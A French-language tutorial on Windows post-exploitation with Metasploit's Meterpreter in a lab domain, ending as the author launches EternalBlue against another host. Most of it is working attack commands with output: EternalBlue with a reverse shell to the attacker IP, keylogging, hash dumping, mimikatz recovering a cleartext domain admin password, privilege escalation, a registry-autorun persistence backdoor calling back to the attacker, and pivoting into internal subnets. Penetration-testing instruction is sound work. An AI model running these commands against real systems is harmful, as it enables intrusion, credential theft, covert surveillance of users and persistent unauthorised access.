Les techniques de post exploitation

Introduction

Salut à tous, dans ce nouvel article sur la réalisation d'un test d'intrusion nous allons parler aujourd'hui des différentes techniques de post exploitation. Le post exploitation est tous ce que l'on fera après avoir exploiter une vulnérabilité (élévation de privilège, migration de processus, dump des hash de mots de passe, e, pivoting, etc.…) et pénétrer un système.

Le post exploitation offrant un grand nombre de possibilité cet article risque d'être un peu plus long que les autres alors attacher vos ceintures.

Inutile de vous dire qu'il faut lire les articles précédents avant de lire celui-ci

Le LAB

Pour que les techniques utilisé soit le plus réaliste possible j'ai un peu modifier notre précédent LAB. j'y ai ajouter les éléments suivants

  1. Trois VM Windows 7 membre du domaine adminsys-dev.local
  2. Une VM Windows 10 membre du domaine adminsys-dev.local
  3. Un serveur 2012 R2 avec active directory

Le post exploitation étant l'étape après l'exploitation de vulnérabilité, dans cet article nous partirons du principe que nous avons déjà pénétrer dans une des VM Windows 7 et que nous possédons déjà une session Meterpreter (que nous verrons très en détail).

Pour les curieux pour pénétrer notre VM Windows 7 nous avons utilisé l'exploit ms17_010 plus connu sous le nom de EthernalBlue.

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 172.16.86.134
LHOST => 172.16.86.134
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 172.16.86.110
RHOST => 172.16.86.110
msf exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 172.16.86.134:4444 
[*] 172.16.86.110:445 - Connecting to target for exploitation.
[+] 172.16.86.110:445 - Connection established for exploitation.
[+] 172.16.86.110:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.16.86.110:445 - CORE raw buffer dump (23 bytes)
[*] 172.16.86.110:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 172.16.86.110:445 - 0x00000010  74 65 20 37 36 30 30                             te 7600         
[+] 172.16.86.110:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.16.86.110:445 - Trying exploit with 12 Groom Allocations.
[*] 172.16.86.110:445 - Sending all but last fragment of exploit packet
[*] 172.16.86.110:445 - Starting non-paged pool grooming
[+] 172.16.86.110:445 - Sending SMBv2 buffers
[+] 172.16.86.110:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.16.86.110:445 - Sending final SMBv2 buffers.
[*] 172.16.86.110:445 - Sending last fragment of exploit packet!
[*] 172.16.86.110:445 - Receiving response from exploit packet
[+] 172.16.86.110:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.16.86.110:445 - Sending egg to corrupted connection.
[*] 172.16.86.110:445 - Triggering free of corrupted buffer.
[*] Sending stage (205891 bytes) to 172.16.86.110
[+] 172.16.86.110:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.86.110:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.86.110:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > 

La pratique

Maintenant que nous avons une session Meterpreter sur une cible voyons voir ce que l'on peut faire avec.

Les commandes de base

Dans un premier tant essayons de voir ce que nous propose Meterpreter lui même.

meterpreter > help

Je vous laisse éplucher l'aide de Meterpreter qui est très vraiment très fournis.

La première chose que nous allons faire est assez basique nous allons prendre une capture d'écran du bureau de la machine cible. Pour cela nous allons utiliser tout simplement la commande screenshot.


meterpreter > screenshot
Screenshot saved to: /root/bCxYPIiB.jpeg
meterpreter > 

Ici une capture d'écran a été prise et placé dans le fichier /root/bCxYPIiB.jpeg. Allons donc voir ce qui s'y trouve.

Bon ce qu'on vient de faire n'est pas ultra impressionnant mais bon c'est juste le début. Je vous promet qu'on va découvrir des trucs cool dans Meterpreter ensemble.

Afficher les informations du système cible

Pour afficher les informations du système cible dans Meterpreter il existe une commande très simple.

meterpreter > sysinfo
Computer        : CLIENT
OS              : Windows 7 (Build 7600).
Architecture    : x64
System Language : fr_FR
Domain          : ADMINSYS-DEV
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > 

Comme on peut le constater la commande sysinfo affiche les informations relative au système de notre cible. Nous pouvons voir le nom de la machine, le système d'exploitation utilisé sur l'ordinateur de notre cible, l'architecture (32 ou 64 bits), la langue dans laquel le système d'exploitation est configurer, le domaine auquel il fait partie, le nombre d'utilisateurs identifier sur l'ordinateur cible, etc...

Migration d'un processus

Ici nous allons nous attaquer à une partie plus intéressante du post exploitation qui est la migration de processus qui va nous permettre de nous rendre un peu plus persistant sur la cible. Cette technique va nous permettre de migrer notre processus Meterpreter vers un autre processus.

Imaginer que nous avons compromis notre cible en exploitant une faille sur internet explorer par exemple, si l'utilisateur ferme son navigateur nous perdons la connexion. Donc pour éviter cela, nous allons migrer notre processus vers un processus plus stable afin de ne pas perdre notre précieuse connexion que nous avons gagnée si durement. On peut imaginer de migrer par exemple dans le processus explorer.exe qui lui sera toujours en exécution étant donné qu'il gère l'interface graphique de Windows.

Pour ce faire avec Meterpreter il y a deux façons de faire. La première migre notre processus vers un processus aléatoire (qui est souvent créer à l'occasion, très souvent notepad.exe). La deuxième façon consiste à choisir sois même le processus vers lequel on souhaite migrer.

Nous verrons ici ces deux techniques ensuite à vous de voir laquelle vous conviens le plus.

Migration d'un processus vers un processus random

meterpreter > run post/windows/manage/migrate

[*] Running module against CLIENT
[*] Current server process: spoolsv.exe (1220)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1688
[+] Successfully migrated to process 1688
meterpreter > 

Qu'est-ce que l'on remarque ici ?

Pour commencer Meterpreter nous indique notre processus est spoolsv.exe, qu'il a comme identifiant de processus (PID) le 1220.

Ensuite Meterpreter créer un processus notepad.exe pour la migration et qui a comme PID 1688 puis il migre notre processus avec succès sur ce nouveau processus fraichement créer.

Migration vers un processus choisis

On comprend assez rapidement quel est le problème de la technique mentionné plus haut. Celle-ci migre notre processus vers un processus générer au hasard. On pourrait se poser la question suivante, et si j'arrivais à faire migrer mon processus vers un processus dont je suis sûr qu'il ne sera jamais tué ? Ici le choix est tout trouvé le processus sur Windows qui est rarement tué c'est explorer.exe vu qu'il gère l'interface graphique de Windows. Donc deuxième question comment je fais maintenant pour que mon processus soit migré vers celui-ci.

Pour cela c'est simple nous allons utiliser deux commandes. La commande ps pour afficher les processus en cours d'exécution sur notre cible et la commande migrate pour gérer la migration.

Affichons donc les processus en cours

meterpreter > ps

Process List
============

 PID   PPID  Name                     Arch  Session  User                         Path
 ---   ----  ----                     ----  -------  ----                         ----
 0     0     [System Process]                                                     
 4     0     System                   x64   0                                     
 264   4     smss.exe                 x64   0        AUTORITE NT\Syst�me          \SystemRoot\System32\smss.exe
 296   508   msdtc.exe                x64   0        AUTORITE NT\SERVICE R�SEAU   
 316   508   svchost.exe              x64   0        AUTORITE NT\Syst�me          C:\Windows\system32\svchost.exe
 352   344   csrss.exe                x64   0        AUTORITE NT\Syst�me          C:\Windows\system32\csrss.exe
 404   344   wininit.exe              x64   0        AUTORITE NT\Syst�me          C:\Windows\system32\wininit.exe
 416   396   csrss.exe                x64   1        AUTORITE NT\Syst�me          C:\Windows\system32\csrss.exe
 464   396   winlogon.exe             x64   1        AUTORITE NT\Syst�me          C:\Windows\system32\winlogon.exe
 508   404   services.exe             x64   0        AUTORITE NT\Syst�me          C:\Windows\system32\services.exe
 516   404   lsass.exe                x64   0        AUTORITE NT\Syst�me          C:\Windows\system32\lsass.exe
 524   404   lsm.exe                  x64   0        AUTORITE NT\Syst�me          C:\Windows\system32\lsm.exe
 636   508   svchost.exe              x64   0        AUTORITE NT\Syst�me          
 696   508   vmacthlp.exe             x64   0        AUTORITE NT\Syst�me          C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 728   508   svchost.exe              x64   0        AUTORITE NT\SERVICE R�SEAU   
 784   508   svchost.exe              x64   0        AUTORITE NT\SERVICE LOCAL    
 848   1220  zeCVDXX.exe              x86   0        AUTORITE NT\Syst�me          C:\Windows\TEMP\zeCVDXX.exe
 872   1220  loWWJIzOJRW.exe          x86   0        AUTORITE NT\Syst�me          C:\Windows\TEMP\loWWJIzOJRW.exe
 916   508   svchost.exe              x64   0        AUTORITE NT\Syst�me          
 940   508   svchost.exe              x64   0        AUTORITE NT\SERVICE LOCAL    
 944   508   svchost.exe              x64   0        AUTORITE NT\Syst�me          
 984   2676  taskmgr.exe              x64   1        ADMINSYS-DEV\Administrateur  C:\Windows\system32\taskmgr.exe
 1092  508   dllhost.exe              x64   0        AUTORITE NT\Syst�me          
 1120  508   svchost.exe              x64   0        AUTORITE NT\SERVICE R�SEAU   
 1220  508   spoolsv.exe              x64   0        AUTORITE NT\Syst�me          C:\Windows\System32\spoolsv.exe
 1256  508   svchost.exe              x64   0        AUTORITE NT\SERVICE LOCAL    
 1452  508   VGAuthService.exe        x64   0        AUTORITE NT\Syst�me          C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
 1492  508   vmtoolsd.exe             x64   0        AUTORITE NT\Syst�me          C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1688  1220  notepad.exe              x64   0        AUTORITE NT\Syst�me          C:\Windows\System32\notepad.exe
 1784  1220  SYAmKBsfcvm.exe          x86   0        AUTORITE NT\Syst�me          C:\Windows\TEMP\SYAmKBsfcvm.exe
 1848  508   svchost.exe              x64   0        AUTORITE NT\SERVICE R�SEAU   
 1904  508   TPAutoConnSvc.exe        x64   0        AUTORITE NT\Syst�me          C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
 2028  636   WmiPrvSE.exe                                                         
 2292  508   svchost.exe              x64   0        AUTORITE NT\Syst�me          
 2548  1220  yruQlfyXIct.exe          x86   0        AUTORITE NT\Syst�me          C:\Windows\TEMP\yruQlfyXIct.exe
 2612  508   taskhost.exe             x64   1        ADMINSYS-DEV\Administrateur  C:\Windows\system32\taskhost.exe
 2660  508   sppsvc.exe               x64   0        AUTORITE NT\SERVICE R�SEAU   
 2664  916   dwm.exe                  x64   1        ADMINSYS-DEV\Administrateur  C:\Windows\system32\Dwm.exe
 2676  2656  explorer.exe             x64   1        ADMINSYS-DEV\Administrateur  C:\Windows\Explorer.EXE
 2688  1220  sZGukZ.exe               x86   0        AUTORITE NT\Syst�me          C:\Windows\TEMP\sZGukZ.exe
 2760  508   ManagementAgentHost.exe  x64   0        AUTORITE NT\Syst�me          C:\Program Files\VMware\VMware Tools\VMware CAF\pme\bin\ManagementAgentHost.exe
 2796  2676  vmtoolsd.exe             x64   1        ADMINSYS-DEV\Administrateur  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 2832  1904  TPAutoConnect.exe        x64   1        ADMINSYS-DEV\Administrateur  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
 2848  416   conhost.exe              x64   1        ADMINSYS-DEV\Administrateur  C:\Windows\system32\conhost.exe
 3032  508   SearchIndexer.exe        x64   0        AUTORITE NT\Syst�me          
 3060  1220  UWlqNaPOWTvv.exe         x86   0        AUTORITE NT\Syst�me          C:\Windows\TEMP\UWlqNaPOWTvv.exe

On remarque qu'explorer.exe à comme PID 2676 et que notre processus Meterpreter que nous avions migrer vers notepad.exe à maintenant le PID 1688.

Faisons donc maintenant migrer notre processus meterpreter (ou plutôt notepad.exe) vers le processus 2676.

meterpreter > migrate 2676
[*] Migrating from 1688 to 2676...
[*] Migration completed successfully.
meterpreter > 

C'est plutôt simple non ? Qu'est ce qui s’est passé ?

C'est simple la même chose que précédemment sauf que nous avons nous même choisis le processus vers lequel nous souhaitions migrer en indiquant le PID de ce processus après la commande migrate.

Si on souhaite voir si notre migration a bien été établit avec succès nous pouvons utiliser la comande suivante pour en avoir le cœur net.

meterpreter > getpid
Current pid: 2676

Donc nous somme bien sur le processus 2676 qui rappeler vous appartient au processus explorer.exe.

On peut aussi remarquer une petite chose si on est curieux c'est qu'en migrant vers le processus explorer.exe nous avons aussi changer nos privilèges car nous sommes maintenant en tant que l'utilisateur propriétaire du processus explorer.exe ce que l'on peut remarquer en tapant la commande suivante.

meterpreter > getuid
Server username: ADMINSYS-DEV\Administrateur

Et si on espionnait ce qu'écrit notre cible ?

Il est possible avec Meterpreter de lancer un module d'écoute de frappe au clavier de la cible. Cela peut être intéressant si jamais celle-ci venait à saisir des identifiant pour une application ou autre...

Pour se faire il existe un module de post exploitation qui permet d'enregistrer les frappes au clavier de notre cible et les enregistrer dans un fichier.

meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against CLIENT
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20180225131137_default_172.16.86.110_host.windows.key_511115.txt
[*] Recording keystrokes...

Bon à partir de là le module à lancer une écoute de frappe au clavier sur l'ordinateur compromis et va enregistrer toutes les frappes qui seront taper par notre cible dans le fichier /root/.msf4/loot/20180225131137_default_172.16.86.110_host.windows.key_511115.txt. Pour le démontrer je vais aller sur la machine écrire du texte et voir si la capture se fait.

root@shado:~# cat /root/.msf4/loot/20180225131137_default_172.16.86.110_host.windows.key_511115.txt
Keystroke log from explorer.exe on CLIENT with user ADMINSYS-DEV\Administrateur started at 2018-02-25 13:11:37 +0100

per
sonne ne vois ce que j
e fais !!!

C'est donc ok notre keylogger fonctionne à merveille.

Il existe aussi une deuxième technique pour faire ça avec Meterpreter, qui est l'utilisation des commandes keyscan_start et keyscan_dump. Le seul petit inconvénient de cette méthode est que les frappes de notre cible ne seront pas enregistrer dans un fichier mais afficher à l'écran le moment voulu.

On lance d'abbord le sniffer puis ont attend ...

meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > 

Une fois que l'on souhaite récupérer ce qui a été écrit il nous suffit d'utiliser la commande suivante :

meterpreter > keyscan_dump
Dumping captured keystrokes...
<^H>tu ne vois toujours pas ce que je fais et tu peux toujous te gratter

meterpreter > 

Enfin pour arrêter la capture c'est simple


meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter > 

Et si on passait au chose sérieuse ?

Nous allons tenter de récupérer les hashs des mots de passe des utilisateurs présent sur la machine.

meterpreter > hashdump
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:986b8aa026292dd1ef2b5a53b0539b0f:::
Invit�:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
shado:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
shadow:1001:aad3b435b51404eeaad3b435b51404ee:0e41e7a7ffdf7d186be83543ef920213:::

Nous avons donc les hashs des mots de passe des utilisateurs présent sur la machine.

Avec ces hashs de mots de passe nous pouvons aussi utiliser une technique appeler Pass The hash qui va nous permettre de sauter d'une sessions à l'autre sans avoir à craquer les mots de passe.

Je ne sais pas si vous vous souvenez mais on avait vu que cette ordinateur était membre du domaine adminsys-dev lorsque nous avons utiliser la commande sysinfo

Pour rappel :

meterpreter > sysinfo
Computer        : CLIENT
OS              : Windows 7 (Build 7600).
Architecture    : x64
System Language : fr_FR
Domain          : ADMINSYS-DEV
Logged On Users : 2
Meterpreter     : x64/windows

Du coup on pourrait imaginer que l'administrateur du domaine ou un utilisateur plus privilégier que le nôtre sur le domaine c'est déjà identifier sur cet ordinateur. Si c'est le cas on pourrait récupérer son mot de passe grâce à un module présent dans Meterpreter appelé mimikatz.

Mimikatz est un outil libre et gratuit qui permet d’effectuer plusieurs actions sur les systèmes Windows, comme l’extraction de hashs, l’injection de bibliothèques ou encore le contournement de certaines GPO.

Pour l'utiliser avec Meterpreter il va falloir le charger avec la commande load

meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > 

Une fois le module charger il suffit de taper la commande kerberos pour récupérer des mots de passe de l'ordinateur et le cas échéant des mots de passe du domaine en clair.

reter > kerberos
[!] Not currently running as SYSTEM
[*] Attempting to getprivs
[+] Got SeDebugPrivilege
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID    Package    Domain        User            Password
------    -------    ------        ----            --------
0;997     Negotiate  AUTORITE NT   SERVICE LOCAL   
0;48846   NTLM                                     
0;996     Negotiate  ADMINSYS-DEV  CLIENT$         .-KT__9q^[GTohAII0+F`N=f1G@N%A#MLF $:^65c'72)WXn?'Ii":6T8IJ1/_Z<y"v\@sPT]@"Sb?1TI"+Z8-(Z63.;g3FG,EapNvGQ-X6mEjSCx=TFkO'z
0;999     Negotiate  ADMINSYS-DEV  CLIENT$         .-KT__9q^[GTohAII0+F`N=f1G@N%A#MLF $:^65c'72)WXn?'Ii":6T8IJ1/_Z<y"v\@sPT]@"Sb?1TI"+Z8-(Z63.;g3FG,EapNvGQ-X6mEjSCx=TFkO'z
0;350311  Kerberos   ADMINSYS-DEV  Administrateur  Superman1234_

Plutôt cool non ? Et si vous ouvrez bien les yeux vous remarquerez que nous avons récupérer un mot de passe kerberos qui correspond à l'administrateur donc l'admin du domaine certainement. Donc on résume avec deux commandes très simples nous avons récupérer les mots de passe des utilisateurs locaux de la machine ainsi que les mots de passe d'un utilisateur kerberos nommé administrateur.

Gardons bien ces informations de coter, on en aura besoin !!!

L'élévation de privilège

Une élévation des privilèges n'est rien d'autre en sécurité informatique qu'un mécanisme permettant à un utilisateur d'obtenir des privilèges supérieurs à ceux qu'il possède normalement sur une machine.

Nous allons voir ici comment on peut faire pour élever nos privilèges sur notre cible.

Nous allons ici procéder par étape

Avant de commencer nous allons en premier re-émigrer notre processus vers le processus d'origine.

On se souvient que notre processus de base était le 1220 spoolsv.exe

meterpreter > migrate 1220
[*] Migrating from 2676 to 1220...
[*] Migration completed successfully.

La première commande à entrer pour l'élévation de privilège est getpriv.

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeTcbPrivilege

On tape ensuite la commande getsystem pour élever nos privilèges sur le système.

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Nous avons donc les privilèges système. Nous verrons dans un prochain article plus en détail les techniques d'élévation de privilège.

Le scraping système

Le scraping système va nous permettre de récupérer des informations capitales sur le système. Cette technique peut nous permettre de récupérer quasiment tous ce qu'il y a d'intéressant à récupérer sur un système comme par exemple les clés de registre HKCU et HKLM et bien d'autre.

Pour lancer le sraping du système de notre cible nous devons utiliser la commande suivante :

meterpreter > run scraper
[*] New session on 172.16.86.110:445...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*]  Exporting HKCU
[*]  Downloading HKCU (C:\Windows\TEMP\JwUlbICY.reg)
[*]  Cleaning HKCU
[*]  Exporting HKLM
[*]  Downloading HKLM (C:\Windows\TEMP\hzLkCWos.reg)
[*]  Cleaning HKLM
[*]  Exporting HKCC
[*]  Downloading HKCC (C:\Windows\TEMP\BHLLvhDO.reg)
[*]  Cleaning HKCC
[*]  Exporting HKCR
[*]  Downloading HKCR (C:\Windows\TEMP\FNxJYonK.reg)
[*]  Cleaning HKCR
[*]  Exporting HKU
[*]  Downloading HKU (C:\Windows\TEMP\dGDHulrZ.reg)
[*]  Cleaning HKU
[*] Completed processing on 172.16.86.110:445...

Pour récupérer ces clés de registre il nous suffira tout simplement de télécharger ces fichiers avec la commande download.

Très important une fois terminer il ne faut surtout pas oublier de nettoyer le répertoire TEMP dans lequel nous avons laissé pas mal de fichier de notre passage. Cela peut être réaliser en lançant la commande shell et en allant supprimer son contenu

Écouter le trafic réseau

On peut aussi lancer une écoute du trafic réseau de notre cible afin de sniffer le réseau et l'analyser plus tard avec des outils comme tshark, wireshark ou tcpdump etc...

Pour ce faire il faut lancer la commande suivante :

meterpreter > run packetrecorder -i 1

[!] Meterpreter scripts are deprecated. Try post/windows/manage/rpcapd_start.
[!] Example: run post/windows/manage/rpcapd_start OPTION=value [...]
[*] Starting Packet capture on interface 1
[+] Packet capture started
[*] Packets being saved in to /root/.msf4/logs/scripts/packetrecorder/CLIENT_20180225.0654/CLIENT_20180225.0654.cap
[*] Packet capture interval is 30 Seconds

Nous demandons donc au module d'écouter le trafic sur l'interface numéro 1. Le module lance donc la capture du trafic qui sera enregistrer dans le fichier /root/.msf4/logs/scripts/packetrecorder/CLIENT_20180225.0654/CLIENT_20180225.0654.cap sur une intervale de 30 secondes.

on peut ensuite analyser ce paquet avec par excemple tcpdump de la manière suivante :

tcpdump -F /root/.msf4/logs/scripts/packetrecorder/CLIENT_20180225.0654/CLIENT_20180225.0654.cap

Ou bien 

tshark /root/.msf4/logs/scripts/packetrecorder/CLIENT_20180225.0654/CLIENT_20180225.0654.cap

Et si on faisait un double des clés ?

Jusque-là nous avons réussi à compromettre un système et faire pas de chose dessus. Imaginons maintenant que nous souhaitions faire une pause et revenir demain sur notre système pour mieux fouiller dedans. Comment peut-on faire cela ?

La réponse à cette question est simple. Imaginer que vous arriviez à vous infiltrer chez quelqu'un pour récupérer des documents ou autres. Arriver dans la pièce vous chercher mais ne trouvez pas. Cependant vous trouvez la clé du bureau dans un tiroir. Seulement voilà il faut que vous partiez car vous entendez quelqu'un arriver mais vous n'avez pas trouver les documents que vous cherchiez et en tant que détective dans une affaire très importante vous avez besoins de ces documents. La meilleure solution pour vous est bien sûr de faire un double de ces clés trouvée pour revenir plus tard OKLM non ? Ici c’est pareil nous allons lancer sur l'ordinateur de notre cible un module de persistance qui étant donné que nous sur connexion miroir TCP (reverse TCP) va initier une connexion reverse à un intervalle donné et chaque démarrage pour que l'on puisse se connecter même une fois que la machine ait été redémarrer.

meterpreter > run persistence -X -i 20 -p 443 -r 172.16.86.134

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/CLIENT_20180225.3124/CLIENT_20180225.3124.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=172.16.86.134 LPORT=443
[*] Persistent agent script is 99652 bytes long
[+] Persistent Script written to C:\Users\ADMINI~1\AppData\Local\Temp\LAnStEcUrr.vbs
[*] Executing script C:\Users\ADMINI~1\AppData\Local\Temp\LAnStEcUrr.vbs
[+] Agent executed with PID 892
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\sgCNOqEHSOH
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\sgCNOqEHSOH
meterpreter > 

Nous avons donc lancé le module de persistance avec l'option X pour indiquer que l'on souhaite que le module se lance au démarrage puis on indique une intervalle après laquel le module va initier une connexion qui sera de 20 secondes. Nous indiquons aussi le port d'écoute qui sera donc le port 443 et notre adresse IP.

Pour se reconnecter ensuite il suffit de lancer module d'écoute avec metasploit comme ceci :

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 172.16.86.134
LHOST => 172.16.86.134
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.16.86.134:443 
[*] Sending stage (179779 bytes) to 172.16.86.110
[*] Meterpreter session 1 opened (172.16.86.134:443 -> 172.16.86.110:52677) at 2018-02-25 15:46:03 +0100

meterpreter > getuid
Server username: ADMINSYS-DEV\Administrateur

On récupère bien la session Meterpreter que nous avions laisser avec le même utilisateur.

Le pivoting

Pour finir avec le post exploitation dans ce tutoriel même si nous n'avons vu qu'une infime partie de ce qui peut se faire, nous allons terminer cet article sur une notion très importante qui est le pivoting.

Cette technique permet dans le cas où une cible aurait plusieurs carte réseau donc une pate sur plusieurs différents de créer une route vers ces réseaux pour tenter de les compromettre via notre première cible sans pour autant qu'on soit de communications ouverte avec ces réseaux.

Pour cela nous devons avoir compromis une première machine sur le réseau et prier pour que celle-ci est une ou plusieurs pates sur d'autres réseaux.

C'est partie let's go !

Nous allons tout d'abord afficher les configurations réseau afin de déterminer si notre cible possède plusieurs interfaces réseau. Pour cela nous avons deux possibilités soit on affiche la configuration réseau via la commande ipconfig comme ceci :

meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11
============
Name         : Connexion r�seau Intel(R) PRO/1000 MT
Hardware MAC : 00:0c:29:ba:60:60
MTU          : 1500
IPv4 Address : 172.16.86.110
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::f4f2:2c46:b718:b9fd
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 12
============
Name         : Carte Microsoft ISATAP
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:ac10:566e
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 13
============
Name         : Connexion r�seau Intel(R) PRO/1000 MT #2
Hardware MAC : 00:0c:29:ba:60:6a
MTU          : 1500
IPv4 Address : 192.168.197.130
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::b417:38a9:a22:b17e
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14
============
Name         : Carte Microsoft ISATAP #2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:c582
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 22
============
Name         : Connexion r�seau Intel(R) PRO/1000 MT #3
Hardware MAC : 00:0c:29:ba:60:74
MTU          : 1500
IPv4 Address : 192.168.1.8
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::ad44:8fb4:2b09:9f1
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 25
============
Name         : Carte Microsoft ISATAP #3
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:108
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

On vois ici que notre machine possède plusieurs cartes réseaux.

On peut aussi utiliser le get_local_subnet comme ceci.

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.16.86.0/255.255.255.0
Local subnet: 192.168.1.0/255.255.255.0
Local subnet: 192.168.197.0/255.255.255.0
meterpreter > 

Pour ma part je trouve que ceci est beaucoup plus lisible et prend beaucoup moins de place sur notre terminal.

Nous pouvons remarquer que notre cible est présente sur trois réseaux différents.

**Et si tenter de découvrir les IPs présente sur ces réseaux ?**

Pour cela nous allons tout simplement utiliser un scan ARP grâce à un module de post exploitation présente dans Meterpreter.

Voyons voir ce qui se trouve dans le réseau 192.168.197.0/24

meterpreter > run arp_scanner -r 192.168.197.0/24
[*] ARP Scanning 192.168.197.0/24
[*] IP: 192.168.197.1 MAC 00:50:56:c0:00:01
[*] IP: 192.168.197.131 MAC 00:0c:29:ba:60:6a
[*] IP: 192.168.197.129 MAC 00:0c:29:c1:27:b4
[*] IP: 192.168.197.255 MAC 00:0c:29:ba:60:6a
[*] IP: 192.168.197.254 MAC 00:50:56:fa:09:86

Nous trouvons 5 IP nous allons exploiter l'adresse IP 192.168.197.131.

Pour se faire nous avons besoins de créer une route vers ce réseau.

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > route add 192.168.197.0 255.255.255.0 1
[*] Route added
msf exploit(multi/handler) > 

Qu'avons-nous fait ? Nous avons mis notre session Meterpreter en arrière-plan avec la commande background puis ensuite nous avons créer une route vers le réseau 192.168.197.0/24.

Nous pouvons à présent vérifier que notre route existe bien.

msf exploit(multi/handler) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.197.0      255.255.255.0      Session 1

[*] There are currently no IPv6 routes defined.

Nous voyons bien notre route sur notre sessions Meterpreter 1. Maintenant nous allons aussi ajouter la route vers le réseau 192.168.1.0.

meterpreter > run arp_scanner -r 192.168.1.0/24
[*] ARP Scanning 192.168.1.0/24
[*] IP: 192.168.1.8 MAC 00:0c:29:ba:60:74
[*] IP: 192.168.1.9 MAC 00:0c:29:62:75:bf
[*] IP: 192.168.1.2 MAC 98:de:d0:00:c8:9c
[*] IP: 192.168.1.1 MAC c4:04:15:7d:0f:9c
[*] IP: 192.168.1.7 MAC 14:ab:c5:42:7b:65
[*] IP: 192.168.1.4 MAC 44:6e:e5:6e:b8:01
^Cmeterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > route add 192.168.1.0 255.255.255.0 1
[*] Route added
msf exploit(multi/handler) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.1.0        255.255.255.0      Session 1
   192.168.197.0      255.255.255.0      Session 1

[*] There are currently no IPv6 routes defined.
msf exploit(multi/handler) > 

Il nous reste plus qu'a exploiter les ordinateurs que l'on viens de trouver. Pour cet article nous exploiterons la 192.168.1.9 et la 192.168.197.131.

C'est partie let's go !

Commençons par la 192.168.1.9

msf exploit(multi/handler) > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.9
RHOST => 192.168.1.9
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
